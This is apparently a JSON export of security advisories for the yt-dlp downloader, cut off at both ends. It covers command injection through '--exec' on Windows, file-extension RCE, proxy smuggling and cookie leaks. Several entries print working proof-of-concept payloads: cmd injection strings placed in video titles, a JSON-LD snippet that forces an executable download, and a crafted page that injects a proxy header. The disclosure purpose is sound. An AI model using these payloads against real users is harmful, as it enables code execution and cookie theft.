Hypothetically, an attacker could create a website with an inconspicuous URL and legitimate-looking media content that would serve an HTTP redirect to a maliciously crafted URL when it detects a request from yt-dlp.\n\n\n### References\n- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-g3gw-q23r-pgqm\n- https://nvd.nist.gov/vuln/detail/CVE-2026-26331\n- https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21\n- https://github.com/yt-dlp/yt-dlp/commit/1fbbe29b99dc61375bf6d786f824d9fcf6ea9c1a","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-23T22:13:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-g3gw-q23r-pgqm","https://github.com/yt-dlp/yt-dlp/commit/1fbbe29b99dc61375bf6d786f824d9fcf6ea9c1a","https://github.com/yt-dlp/yt-dlp/releases/tag/2026.02.21","https://nvd.nist.gov/vuln/detail/CVE-2026-26331","https://github.com/advisories/GHSA-g3gw-q23r-pgqm"],"source_kind":"github","identifiers":["GHSA-g3gw-q23r-pgqm","CVE-2026-26331"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-23T23:00:08.726Z","updated_at":"2026-10-24T21:05:05.275Z","epss_percentage":0.02305,"epss_percentile":0.83203,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nM2d3LXEyM3ItcGdxbc4ABSv2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nM2d3LXEyM3ItcGdxbc4ABSv2","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2026.02.21","vulnerable_version_range":"\u003e= 2023.06.21, \u003c 2026.02.21"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nM2d3LXEyM3ItcGdxbc4ABSv2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdjMzLTN3bXctMzc4Nc4AA9n3","url":"https://github.com/advisories/GHSA-3v33-3wmw-3785","title":"yt-dlp has dependency on potentially malicious third-party code in Douyu extractors","description":"### Impact\nyt-dlp's DouyuTV and DouyuShow extractors used a `cdn.bootcdn.net` URL as a fallback for fetching a component of the crypto-js JavaScript library. When the Douyu extractor is used, yt-dlp extracts this JavaScript code and attempts to execute it externally using [PhantomJS](https://github.com/ariya/phantomjs). `bootcdn.net` is owned by the bad actor responsible for the [Polyfill JS supply chain attack](https://sansec.io/research/polyfill-supply-chain-attack) that has been ongoing since at least June 2023. While there is no evidence that PhantomJS has been targeted by or is vulnerable to any attacks carried out by the Polyfill JS actor, there is the possibility that malicious JavaScript code may have been downloaded/cached by yt-dlp or executed by PhantomJS.\n\nIn order for this potential vulnerability to be exploited by any hypothetical attack, all 3 of the following conditions must be met:\n1. The user has PhantomJS installed on their system.\n2. The user passes a `douyu.com` or `douyutv.com` URL to yt-dlp as input, or passes a URL that redirects to one of these domains.\n3. `cdnjs.cloudflare.com` is unavailable or blocked at the time of extraction, necessitating the usage of the `cdn.bootcdn.net` fallback; or it had been unavailable during a previous run of the Douyu extractor and JavaScript code from `cdn.bootcdn.net` had been cached to disk.\n\n### Patches\nyt-dlp version 2024.07.07 fixes this issue by removing the URL pointing to the malicious CDN and by invalidating any Douyu extractor cache data created by unpatched versions of yt-dlp.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2024.07.07 as soon as possible.\n\nFor users not able to upgrade:\n- Avoid using the Douyu extractors (`--ies default,-douyutv,-douyushow`)\n- Uninstall (or do not install) PhantomJS\n\n### Acknowledgement\nThanks to @LeSuisse for [reporting this](https://github.com/yt-dlp/yt-dlp/pull/10347) promptly after `bootcdn.net` was discovered to be under control of the same bad actor behind the `polyfill.io` supply chain attack.\n\n### References\n- https://github.com/yt-dlp/yt-dlp/commit/6075a029dba70a89675ae1250e7cdfd91f0eba41\n- https://sansec.io/research/polyfill-supply-chain-attack\n","origin":"UNSPECIFIED","severity":"LOW","published_at":"2024-07-08T14:22:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3v33-3wmw-3785","https://github.com/yt-dlp/yt-dlp/commit/6075a029dba70a89675ae1250e7cdfd91f0eba41","https://sansec.io/research/polyfill-supply-chain-attack","https://github.com/advisories/GHSA-3v33-3wmw-3785"],"source_kind":"github","identifiers":["GHSA-3v33-3wmw-3785"],"repository_url":"https://github.com/yt-dlp/yt-dlp","blast_radius":0.0,"created_at":"2024-07-08T15:05:34.140Z","updated_at":"2026-10-24T21:08:36.582Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdjMzLTN3bXctMzc4Nc4AA9n3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdjMzLTN3bXctMzc4Nc4AA9n3","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2024.07.07","vulnerable_version_range":"\u003e= 2023.09.24, \u003c 2024.07.07"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdjMzLTN3bXctMzc4Nc4AA9n3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03OXc3LXZoM2gtOGc0as4AA9dz","url":"https://github.com/advisories/GHSA-79w7-vh3h-8g4j","title":"yt-dlp File system modification and RCE through improper file-extension sanitization","description":"### Summary\n`yt-dlp` does not limit the extensions of downloaded files, which could lead to arbitrary filenames being created in the download folder (and path traversal on Windows). Since `yt-dlp` also reads config from the working directory (and on Windows executables will be executed from the yt-dlp directory) this could lead to arbitrary code being executed.\n\n### Patches\n`yt-dlp` version 2024.07.01 fixes this issue by whitelisting the allowed extensions.\nThis means some very uncommon extensions might not get downloaded; however, it will also limit the possible exploitation surface.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2024.07.01 as soon as possible, **always** have `.%(ext)s` at the end of the output template, and make sure you trust the websites that you are downloading from. Also, make sure to never download to a directory within PATH or other sensitive locations like your user directory, `system32`, or other binaries locations.\n\nFor users not able to upgrade:\n- Make sure the extension of the media to download is a common video/audio/sub/... one\n- Try to avoid the generic extractor (`--ies default,-generic`)\n- Keep the default output template (`-o \"%(title)s [%(id)s].%(ext)s`)\n- Omit any of the subtitle options (`--write-subs`, `--write-auto-subs`, `--all-subs`, `--write-srt`)\n- Use `--ignore-config --config-location ...` to not load config from common locations\n\n### Details\nOne potential exploitation might look like this:\n\nFrom a mimetype we do not know, we default to trimming the leading bit and using the remainder. Given a webpage that contains\n```html\n\u003cscript type=\"application/ld+json\"\u003e\n{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\": \"ffmpeg\",\n    \"encodingFormat\": \"video/exe\",\n    \"contentUrl\": \"https://example.com/video.mp4\"\n}\n\u003c/script\u003e\n```\nthis will try and download a file called `ffmpeg.exe` (`-o \"%(title)s.%(ext)s`).\n`ffmpeg.exe` will be searched for in the current directory, and so upon the next run arbitrary code can be executed.\n\nAlternatively, when engineering a file called `yt-dlp.conf` to be created, the config file could contain `--exec ...` and so would also execute arbitrary code.\n\n### Acknowledgement\nA big thanks to @JarLob for independently finding a new application of the same underlying issue.\nMore can be read about on the dedicated GitHub Security Lab disclosure here: [Path traversal saving subtitles (GHSL-2024-090)](\u003chttps://securitylab.github.com/advisories/GHSL-2024-090_yt-dlp\u003e)\n\n### References\n- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j\n- https://nvd.nist.gov/vuln/detail/CVE-2024-38519\n- https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.01\n- https://github.com/yt-dlp/yt-dlp/commit/5ce582448ececb8d9c30c8c31f58330090ced03a\n- https://securitylab.github.com/advisories/GHSL-2024-090_yt-dlp\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-07-02T15:58:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-79w7-vh3h-8g4j","https://github.com/yt-dlp/yt-dlp/commit/5ce582448ececb8d9c30c8c31f58330090ced03a","https://github.com/yt-dlp/yt-dlp/releases/tag/2024.07.01","https://github.com/dirkf/youtube-dl/security/advisories/GHSA-22fp-mf44-f2mq","https://nvd.nist.gov/vuln/detail/CVE-2024-38519","https://github.com/ytdl-org/youtube-dl/pull/32830","https://github.com/ytdl-org/youtube-dl/commit/d42a222ed541b96649396ef00e19552aef0f09ec","https://securitylab.github.com/advisories/GHSL-2024-089_youtube-dl","https://securitylab.github.com/advisories/GHSL-2024-090_yt-dlp","https://github.com/advisories/GHSA-79w7-vh3h-8g4j"],"source_kind":"github","identifiers":["GHSA-79w7-vh3h-8g4j","CVE-2024-38519"],"repository_url":"https://github.com/yt-dlp/yt-dlp","blast_radius":0.0,"created_at":"2024-07-02T16:05:37.300Z","updated_at":"2026-10-24T21:08:38.370Z","epss_percentage":0.00325,"epss_percentile":0.23534,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXc3LXZoM2gtOGc0as4AA9dz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OXc3LXZoM2gtOGc0as4AA9dz","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2024.07.01","vulnerable_version_range":"\u003c 2024.07.01"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OXc3LXZoM2gtOGc0as4AA9dz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oanE2LTUyZ3ctMmc3cM4AA63l","url":"https://github.com/advisories/GHSA-hjq6-52gw-2g7p","title":"yt-dlp: `--exec` command injection when using `%q` in yt-dlp on Windows (Bypass of CVE-2023-40581)","description":"### Summary\nThe [patch that addressed CVE-2023-40581](https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e) attempted to prevent RCE when using `--exec` with `%q` by replacing double quotes with two double quotes.\nHowever, this escaping is not sufficient, and still allows expansion of environment variables.\n\nSupport for output template expansion in `--exec`, along with this vulnerable behavior, was added to `yt-dlp` in version [2021.04.11](https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11).\n\n```cmd\n\u003e yt-dlp \"https://youtu.be/42xO6rVqf2E\" --ignore-config -f 18 --exec \"echo %(title)q\"\n[youtube] Extracting URL: https://youtu.be/42xO6rVqf2E\n[youtube] 42xO6rVqf2E: Downloading webpage\n[youtube] 42xO6rVqf2E: Downloading ios player API JSON\n[youtube] 42xO6rVqf2E: Downloading android player API JSON\n[youtube] 42xO6rVqf2E: Downloading m3u8 information\n[info] 42xO6rVqf2E: Downloading 1 format(s): 18\n[download] Destination: %CMDCMDLINE：~-1%\u0026echo pwned\u0026calc.exe [42xO6rVqf2E].mp4\n[download] 100% of  126.16KiB in 00:00:00 at 2.46MiB/s\n[Exec] Executing command: echo \"%CMDCMDLINE:~-1%\u0026echo pwned\u0026calc.exe\"\n\"\"\npwned\n```\n\n### Patches\nyt-dlp version 2024.04.09 fixes this issue by properly escaping `%`. It replaces them with `%%cd:~,%`, a variable that expands to nothing, leaving only the leading percent.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2024.04.09 as soon as possible. Also, always be careful when using `--exec`, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.\n\nFor Windows users who are not able to upgrade:\n- Avoid using any output template expansion in `--exec` other than `{}` (filepath).\n- If expansion in `--exec` is needed, verify the fields you are using do not contain `%`, `\"`, `|` or `\u0026`.\n- Instead of using `--exec`, write the info json and load the fields from it instead.\n\n### Details\nWhen escaping variables, the following code is used for Windows.\n[`yt_dlp/compat/__init__.py` line 31-33](https://github.com/yt-dlp/yt-dlp/blob/8e6e3651727b0b85764857fc6329fe5e0a3f00de/yt_dlp/compat/__init__.py#L31-L33)\n```python\n    def compat_shlex_quote(s):\n        import re\n        return s if re.match(r'^[-_\\w./]+$', s) else s.replace('\"', '\"\"').join('\"\"')\n```\nIt replaces `\"` with `\"\"` to balance out the quotes and keep quoting intact if non-allowed characters are included. However, the `%CMDCMDLINE%` variable can be used to generate a quote using `%CMDCMDLINE:~-1%`; since the value of `%CMDCMDLINE%` is the commandline with which `cmd.exe` was called, and it is always called with the command surrounded by quotes, `%CMDCMDLINE:~-1%` expands to `\"`. After the quotes have been unbalanced, special characters are no longer quoted and commands can be executed:\n```cmd\n%CMDCMDLINE:~-1%\u0026calc.exe\n```\n\n### References\n- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-hjq6-52gw-2g7p\n- https://nvd.nist.gov/vuln/detail/CVE-2024-22423\n- https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09\n- https://github.com/yt-dlp/yt-dlp/commit/ff07792676f404ffff6ee61b5638c9dc1a33a37a","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-10T17:07:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg","https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-hjq6-52gw-2g7p","https://nvd.nist.gov/vuln/detail/CVE-2024-22423","https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e","https://github.com/yt-dlp/yt-dlp/commit/ff07792676f404ffff6ee61b5638c9dc1a33a37a","https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11","https://github.com/yt-dlp/yt-dlp/releases/tag/2024.04.09","https://www.kb.cert.org/vuls/id/123335","https://github.com/advisories/GHSA-hjq6-52gw-2g7p"],"source_kind":"github","identifiers":["GHSA-hjq6-52gw-2g7p","CVE-2024-22423"],"repository_url":"https://github.com/yt-dlp/yt-dlp","blast_radius":0.0,"created_at":"2024-04-10T18:04:55.400Z","updated_at":"2026-10-25T02:09:06.780Z","epss_percentage":0.0143,"epss_percentile":0.7258,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oanE2LTUyZ3ctMmc3cM4AA63l","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oanE2LTUyZ3ctMmc3cM4AA63l","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2024.04.09","vulnerable_version_range":"\u003e= 2021.04.11, \u003c 2024.04.09"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oanE2LTUyZ3ctMmc3cM4AA63l/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zY2gzLWpoYzYtNXI4eM4AA3MJ","url":"https://github.com/advisories/GHSA-3ch3-jhc6-5r8x","title":"yt-dlp Generic Extractor MITM Vulnerability via Arbitrary Proxy Injection","description":"### Impact\nThe Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp's HTTP session. This could lead to cookie exfiltration in some cases.\n\n\u003cdetails\u003e\n\nTo pass extra control data between extractors (such as headers like `Referer`), yt-dlp employs a concept of \"url smuggling\". This works by adding this extra data as json to the url fragment (\"smuggling\") that is then passed on to an extractor. The receiving extractor then \"unsmuggles\" the data from the input url. This functionality is intended to be internal only.\n\nCurrently, the Generic extractor supports receiving an arbitrary dictionary of HTTP headers in a smuggled url, of which it extracts and adds them to the initial request it makes to such url. This is useful when a url sent to the Generic extractor needs a `Referer` header sent with it, for example.\n\nAdditionally, yt-dlp has internal headers to set a proxy for a request: `Ytdl-request-proxy` and `Ytdl-socks-proxy`. While these are deprecated, internally `Ytdl-request-proxy` is still used for `--geo-verification-proxy`.\n\nHowever, it is possible for a maliciously crafted site include these smuggled options in a url which then the Generic extractor extracts and redirects to itself.  This allows a malicious website to **set an arbitrary proxy for an arbitrary url that the Generic extractor will request.**\n\nThis could allow for the following, but not limited too:\n- An attacker can MITM a request it asks yt-dlp to make to **any** website.\n   - If a user has loaded cookies into yt-dlp for the target site, which are not marked as [secure](https://en.wikipedia.org/wiki/Secure_cookie), they could be exfiltrated by the attacker.\n   - Fortunately most sites are HTTPS and should be setting cookies as secure.\n- An attacker can set cookies for an arbitrary site.\n\nAn example malicious webpage:\n```html\n\u003c!DOCTYPE html\u003e\n\u003ccinerama.embedPlayer('t','{{ target_site }}#__youtubedl_smuggle=%7B%22http_headers%22:%7B%22Ytdl-request-proxy%22:%22{{ proxy url }}%22%7D,%22fake%22:%22.smil/manifest%22%7D')\n```\n\nWhere `{{ target_site }}` is the URL Generic extractor will request and `{{ proxy url }}` is the proxy to proxy the request for this url through.\n\n\u003c/details\u003e\n\n### Patches\n- We have removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern.\n\n### Workarounds\n- Disable Generic extractor (`--ies default,-generic`), or only pass trusted sites with trusted content.\n- Take caution when using `--no-check-certificate`.\n\n### References\n- \u003chttps://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x\u003e\n- \u003chttps://nvd.nist.gov/vuln/detail/CVE-2023-46121\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14\u003e\n- \u003chttps://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb\u003e\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-11-15T14:48:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.0,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-3ch3-jhc6-5r8x","https://nvd.nist.gov/vuln/detail/CVE-2023-46121","https://github.com/yt-dlp/yt-dlp/commit/f04b5bedad7b281bee9814686bba1762bae092eb","https://github.com/yt-dlp/yt-dlp/releases/tag/2023.11.14","https://github.com/advisories/GHSA-3ch3-jhc6-5r8x"],"source_kind":"github","identifiers":["GHSA-3ch3-jhc6-5r8x","CVE-2023-46121"],"repository_url":"https://github.com/yt-dlp/yt-dlp","blast_radius":0.0,"created_at":"2023-11-15T15:06:26.464Z","updated_at":"2026-10-25T02:10:29.658Z","epss_percentage":0.00321,"epss_percentile":0.23547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zY2gzLWpoYzYtNXI4eM4AA3MJ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zY2gzLWpoYzYtNXI4eM4AA3MJ","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2023.11.14","vulnerable_version_range":"\u003e= 2022.10.04, \u003c 2023.11.14"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zY2gzLWpoYzYtNXI4eM4AA3MJ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00Mmg0LXYyOXItNDJxZ84AA2Bw","url":"https://github.com/advisories/GHSA-42h4-v29r-42qg","title":" yt-dlp on Windows vulnerable to `--exec` command injection when using `%q`","description":"### Impact\n[`yt-dlp`](https://github.com/yt-dlp/yt-dlp) allows the user to provide shell commands to be executed at various stages in its download process through the `--exec` flag. This flag allows output template expansion in its argument, so that video metadata values may be used in the shell commands. The metadata fields can be combined with the `%q` conversion, which is intended to quote/escape these values so they can be safely passed to the shell.\n\nHowever, the escaping used for `cmd` (the shell used by Python's `subprocess` on Windows) did not properly escape special characters, which can allow for remote code execution if `--exec` is used directly with maliciously crafted remote data. This vulnerability only impacts `yt-dlp` on Windows, and the vulnerability is present regardless of whether `yt-dlp` is run from `cmd` or from `PowerShell`.\n\nSupport for output template expansion in `--exec`, along with this vulnerable behavior, was added to `yt-dlp` in version [2021.04.11](https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11).\n\n```shell\n\u003e yt-dlp https://youtu.be/Jo66yyCpHcQ --exec \"echo %(title)q\"\n[youtube] Extracting URL: https://youtu.be/Jo66yyCpHcQ\n[youtube] Jo66yyCpHcQ: Downloading webpage\n[youtube] Jo66yyCpHcQ: Downloading ios player API JSON\n[youtube] Jo66yyCpHcQ: Downloading android player API JSON\n[youtube] Jo66yyCpHcQ: Downloading m3u8 information\n[info] Jo66yyCpHcQ: Downloading 1 format(s): 135+251\n[download] Destination: ＂\u0026echo(\u0026echo(pwned\u0026rem( [Jo66yyCpHcQ].f135.mp4\n[download] 100% of    4.85KiB in 00:00:00 at 60.20KiB/s\n[download] Destination: ＂\u0026echo(\u0026echo(pwned\u0026rem( [Jo66yyCpHcQ].f251.webm\n[download] 100% of    4.80KiB in 00:00:00 at 31.58KiB/s\n[Merger] Merging formats into \"＂\u0026echo(\u0026echo(pwned\u0026rem( [Jo66yyCpHcQ].mkv\"\nDeleting original file ＂\u0026echo(\u0026echo(pwned\u0026rem( [Jo66yyCpHcQ].f135.mp4 (pass -k to keep)\nDeleting original file ＂\u0026echo(\u0026echo(pwned\u0026rem( [Jo66yyCpHcQ].f251.webm (pass -k to keep)\n[Exec] Executing command: echo \"\\\"\u0026echo(\u0026echo(pwned\u0026rem(\"\n\"\\\"\n\npwned\n```\n\n### Patches\nyt-dlp version 2023.09.24 fixes this issue by properly escaping each special character.\n`\\n` will be replaced by `\\r`, as no way of escaping it has been found.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2023.09.24 as soon as possible. Also, always be careful when using `--exec`, because while this specific vulnerability has been patched, using unvalidated input in shell commands is inherently dangerous.\n\nFor Windows users who are not able to upgrade:\n- Avoid using any output template expansion in `--exec` other than `{}` (filepath).\n- If expansion in `--exec` is needed, verify the fields you are using do not contain `\"`, `|` or `\u0026`.\n- Instead of using `--exec`, write the info json and load the fields from it instead.\n\n### References\n- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg\n- https://nvd.nist.gov/vuln/detail/CVE-2023-40581\n- https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24\n- https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.09.24.003044\n- https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-09-25T17:33:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-42h4-v29r-42qg","https://github.com/yt-dlp/yt-dlp/commit/de015e930747165dbb8fcd360f8775fd973b7d6e","https://github.com/yt-dlp/yt-dlp/releases/tag/2023.09.24","https://nvd.nist.gov/vuln/detail/CVE-2023-40581","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.09.24.003044","https://github.com/yt-dlp/yt-dlp/releases/tag/2021.04.11","https://github.com/advisories/GHSA-42h4-v29r-42qg"],"source_kind":"github","identifiers":["GHSA-42h4-v29r-42qg","CVE-2023-40581"],"repository_url":"https://github.com/yt-dlp/yt-dlp","blast_radius":0.0,"created_at":"2023-09-25T18:06:02.903Z","updated_at":"2026-10-25T02:11:02.962Z","epss_percentage":0.0134,"epss_percentile":0.70503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg0LXYyOXItNDJxZ84AA2Bw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Mmg0LXYyOXItNDJxZ84AA2Bw","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2023.09.24","vulnerable_version_range":"\u003e= 2021.04.11, \u003c 2023.09.24"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Mmg0LXYyOXItNDJxZ84AA2Bw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OG1jLTkzNzctcndqas4AA0Xj","url":"https://github.com/advisories/GHSA-v8mc-9377-rwjj","title":"yt-dlp File Downloader cookie leak","description":"### Impact\nDuring file downloads, yt-dlp or the external downloaders that yt-dlp employs may leak cookies on HTTP redirects to a different host, or leak them when the host for download fragments differs from their parent manifest's host.\n\nThis vulnerable behavior is present in all versions of [youtube-dl](https://github.com/ytdl-org/youtube-dl), [youtube-dlc](https://github.com/blackjack4494/yt-dlc) and [yt-dlp](https://github.com/yt-dlp/yt-dlp) released since 2015.01.25. All native and external downloaders are affected, except for `curl` and `httpie` (httpie version 3.1.0 or later).\n\nAt the file download stage, all cookies are passed by yt-dlp to the file downloader as a `Cookie` header, thereby losing their scope. This also occurs in yt-dlp's info JSON output, which may be used by external tools. As a result, the downloader or external tool may indiscriminately send cookies with requests to domains or paths for which the cookies are not scoped.\n\nAn example of a potential attack scenario exploiting this vulnerability:\n1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an [unvalidated redirect](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html) to a target URL.\n2. yt-dlp extracts this URL and calculates a `Cookie` header based on its domain for the file downloader to make its request(s) with.\n3. the download URL redirects to a server controlled by the attacker, to which yt-dlp forwards the user's sensitive cookie information.\n\n### Patches\nyt-dlp version 2023.07.06 fixes this issue by doing the following:\n\n- Remove the `Cookie` header upon HTTP redirects\n- Have native downloaders calculate their own `Cookie` header from the cookiejar\n- Utilize external downloaders' built-in support for cookies instead of passing them as header arguments\n- If the external downloader does not have proper cookie support, then disable HTTP redirection (`axel` only)\n- Process cookies passed as HTTP headers to limit their scope (`--add-header \"Cookie:...\"` is scoped to input URL domain only)\n- Store cookies in a separate `cookies` field of the info dict instead of `http_headers` so as not to lose their scope\n\nPatches for youtube-dl are expected and we will update this advisory when they are merged.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2023.07.06 as soon as possible.\n\nFor users who are not able to upgrade:\n\n - Avoid using cookies and user authentication methods (`--cookies`, `--cookies-from-browser`, `--username`, `--password`, `--netrc`). While extractors may set custom cookies, these usually do not contain sensitive information.\n - Avoid using `--load-info-json`\n\nOr, if authentication is a must:\n\n- Verify the integrity of download links from unknown sources in browser (including redirects) before passing them to yt-dlp\n- Use `curl` as external downloader, since it is not impacted (`--downloader curl`)\n- Avoid fragmented formats such as HLS/m3u8, DASH/mpd and ISM (use `-f \"(bv*+ba/b)[protocol~='^https?$']\"`)\n\n### References\n- https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-v8mc-9377-rwjj\n- https://nvd.nist.gov/vuln/detail/CVE-2023-35934\n- https://github.com/yt-dlp/yt-dlp/releases/tag/2023.07.06\n- https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.07.06.185519\n- https://github.com/yt-dlp/yt-dlp/commit/1ceb657bdd254ad961489e5060f2ccc7d556b729\n- https://github.com/yt-dlp/yt-dlp/commit/f8b4bcc0a791274223723488bfbfc23ea3276641\n- https://github.com/yt-dlp/yt-dlp/commit/3121512228487c9c690d3d39bfd2579addf96e07","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-07-06T19:47:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-v8mc-9377-rwjj","https://github.com/yt-dlp/yt-dlp/commit/1ceb657bdd254ad961489e5060f2ccc7d556b729","https://github.com/yt-dlp/yt-dlp/commit/3121512228487c9c690d3d39bfd2579addf96e07","https://github.com/yt-dlp/yt-dlp/commit/f8b4bcc0a791274223723488bfbfc23ea3276641","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2023.07.06.185519","https://github.com/yt-dlp/yt-dlp/releases/tag/2023.07.06","https://nvd.nist.gov/vuln/detail/CVE-2023-35934","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IM44RJL2MR2WG3ZY354C5IUEEZUJGEVA/","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5X6YT6AQE5FHM5VTQLKKJXSYBLLJF26W/","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HEOKCGVONGHR2SYUIXU33A4MKXZBDP6L/","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M7E7CQ5S5KMZHAMCNU7V7KYNBVCPLBHG/","https://github.com/advisories/GHSA-v8mc-9377-rwjj"],"source_kind":"github","identifiers":["GHSA-v8mc-9377-rwjj","CVE-2023-35934"],"repository_url":"https://github.com/yt-dlp/yt-dlp","blast_radius":0.0,"created_at":"2023-07-06T20:03:48.879Z","updated_at":"2026-10-25T02:11:57.920Z","epss_percentage":0.01047,"epss_percentile":0.6352,"api_url":"https://advisories.ecosyste.m